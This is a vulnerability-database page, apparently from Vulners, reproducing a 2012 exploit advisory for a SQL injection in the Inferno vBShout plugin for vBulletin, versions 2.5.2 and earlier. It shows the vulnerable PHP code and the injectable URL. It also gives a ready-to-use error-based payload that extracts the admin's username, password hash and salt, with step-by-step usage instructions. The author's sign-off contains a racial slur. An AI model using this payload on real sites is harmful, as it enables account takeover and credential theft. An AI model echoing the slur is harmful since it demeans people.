Lucene search
K

Inferno vBShout <= 2.5.2 - SQL Injection

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 12 Views

SQL Injection vulnerability in Inferno vBShout <= 2.5.

Code

                                                ====================================================================
#               Inferno vBShout SQLI 0day &#60;= 2.5.2                 #
====================================================================
   ______     _ ______           
  / ____/____(_) __/ /____  _____
 / / __/ ___/ / /_/ __/ _ \/ ___/
/ /_/ / /  / / __/ /_/  __/ /    
\____/_/  /_/_/  \__/\___/_/     
                                 
====================================================================
#               Inferno vBShout SQLI 0day &#60;= 2.5.2                 #
====================================================================
# Found by: Luit
# Site: http://grifter.org
# E-Mail: [email protected]
# Date: 14/08/2012

====================================================================
#    Vulnerable Code - infernoshout.php & inferno_settings.php     #
====================================================================
$commands = unserialize($this-&#62;settings[&#39;s_commands&#39;]);

if ($this-&#62;vbulletin-&#62;db-&#62;affected_rows() &#60; 1 && !$this-&#62;vbulletin-&#62;db-&#62;query_first(&#34;select * from &#34; . TABLE_PREFIX . &#34;infernoshoutusers where s_user=&#39;{$this-&#62;vbulletin-&#62;userinfo[&#39;userid&#39;]}&#39;&#34;))
		{
			$this-&#62;vbulletin-&#62;db-&#62;query(&#34;
				insert into &#34; . TABLE_PREFIX . &#34;infernoshoutusers
				(s_user, s_commands)
				values
				({$this-&#62;vbulletin-&#62;userinfo[&#39;userid&#39;]}, &#39;&#34; . serialize($commands) . &#34;&#39;)
			&#34;);
		}
		
====================================================================
#                           Exploit Location                       #
====================================================================
# Location: http://site.com/infernoshout.php?do=options&area=commands

====================================================================
#                           SQL Injection                          #
====================================================================
&#39; and (select 1 from (select count(*),concat((select(select concat(cast(concat(username,0x3a,password,0x3a,salt) as char),0x7e)) from user where userid=1 limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) AND &#39;&#39;=&#39;#

====================================================================
#                           How to use                             #
====================================================================

Insert SQL injection into the first &#34;Command Input&#34; box and enter anything into the first &#34;Command Output&#34; box, hit save settings, you will be treated with a database error, view the page source and scroll to the bottom of the page, you will see some quoted text containing the data you want.
====================================================================
#                           Video Tutorial                         #
====================================================================
http://www.youtube.com/watch?v=g70_JaKnBbw

====================================================================
#                          Peace out nigga                         #
====================================================================
# Found by: Luit
# Site: http://grifter.org
# E-Mail: [email protected]
====================================================================
#                          Peace out nigga                         #
====================================================================


                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation